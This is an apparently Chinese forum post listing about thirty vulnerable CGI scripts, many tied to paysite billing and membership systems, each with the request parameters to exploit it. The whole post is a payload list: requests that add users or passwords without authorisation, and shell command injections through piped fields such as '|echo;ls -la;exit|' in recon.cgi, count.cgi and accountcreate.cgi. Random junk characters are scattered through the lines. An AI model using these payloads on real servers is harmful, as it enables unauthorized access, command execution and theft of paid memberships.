Cgi-bin 30个漏洞＋使用方法

admin

==============================
* Q7 K7 M3 J( {  a- p; ]
8 u& f0 q1 D8 ^4 W% E- K0 w/smspass.pl
username=username&password=password
/ O. D) f5 [0 }5 H9 H
: y' r3 c7 _% s; K' z/index.cgi
" t1 z) F1 P: ?, r6 C. L4 Q- [+ lwei=ren&gen=command

/passmaster.cgi
. Y2 _6 L0 O' C9 D0 c3 nAction=Add&Username=Username&Password=Password
' w2 l. c6 ~4 k' g6 c- K+ J% S
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
) B6 ~* a; ~3 q0 L
! c8 Z$ q, V& k6 T# O+ t2 J/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
: l7 n/ P7 [+ m5 @7 Y2 U0 luser=username&pass=Password&confirm=Password

' \) S" \4 H4 F8 S, Q/ccbill-local.asp
. `) G' z9 M  w6 J+ M: T6 hpost_values=username:password
% z, n7 V& u# G3 V! C; m
1 j( A! `, u- K* i/count.cgi
pinfile=|echo;ls -la;exit|

" |2 E( N4 @( l/ y/ Y: u6 x4 B/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
/ w/ `$ m# d2 I4 W; F. z
, ?$ r) c) R& C* g, N' i/verotelrum.pl
; ?' _9 T( H4 r+ @! n2 }vercode=username:password:dseegsow:add:amount<&30>

0 ?2 _& h0 F# ~6 l/ S) v% e: @1 n8 B/af.cgi
_browser_out=|echo;ls -la;exit;|

/modify.cgi
username=username&password=password&expire=30
/ z7 W9 {$ A# d2 \7 I. V
/openjournal.cgi
3 O) @, b2 s8 ?2 X& \. |6 eedit=1&ct=2&go=|echo;ls -al;exit|

: `  s, H4 L2 P  b& R- K/gx9passwd.cgi
cmd=ADD&user=username&pass=password

) g' [4 a. Y9 K# b2 `/probecontrol.cgi
0 l+ o" Q& Q$ C# y. f2 Pcommand=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
: X# g9 G' W* i) U9 z5 ?
/htadd.pl
configfile=|echo; ls -alt; exit

/ `, c3 M( E( j9 g6 o: N/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/ibill*.pl
) v. }0 R- l) E4 L8 ~& {reqtype=add&authpwd=authpwd&username=username&password=password

. U/ }$ m2 x2 x; o4 n/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
9 h# |: _2 g- `% @0 k9 v1 }7 D; Edo=add&username=username&password=password&wpassword=password

/usercontrol.cgi
3 w7 x3 K- Q# j9 P1 [1 v& c4 ~3 hcommand=enable&username=USER&password=PASS
2 Q2 y) a7 ^* m: |
/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

1 b+ d/ b- [  G: M; i/addusr.pl
3 F' j" c( u' H0 Iuser=USER&pass=PASS&confirm=PASS
' [: {4 y7 |# ?, a9 I2 [  [4 m' K
- y0 F5 ]0 S* [# f1 u9 _/pincount.cgi
+ _# |8 u( C  f, U: I! k/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

3 b* \3 m2 O/ P/ f3 f: ]  A2 P/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
; x1 t- {  d+ o/ |& a  E
/af.cgi
) V; K" u, a5 ]5 s7 L/env.cgi
ADD+;echo;pwd;exit

$ C- w2 s: N/ K# k# v- t4 l8 z/count.cgi
( U, N6 w& V! U  {" K- C9 T! Wpinfile=|echo;pwd;exit|

* M. F/ d) N9 E8 T' ^* ?( ]& _3 ^/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

. n% V- I% q& r/add.cgi
- j0 n: H3 h& @5 T1 }username=username&password=password&expire=30

& \* {7 W! L" I. b6 t==============================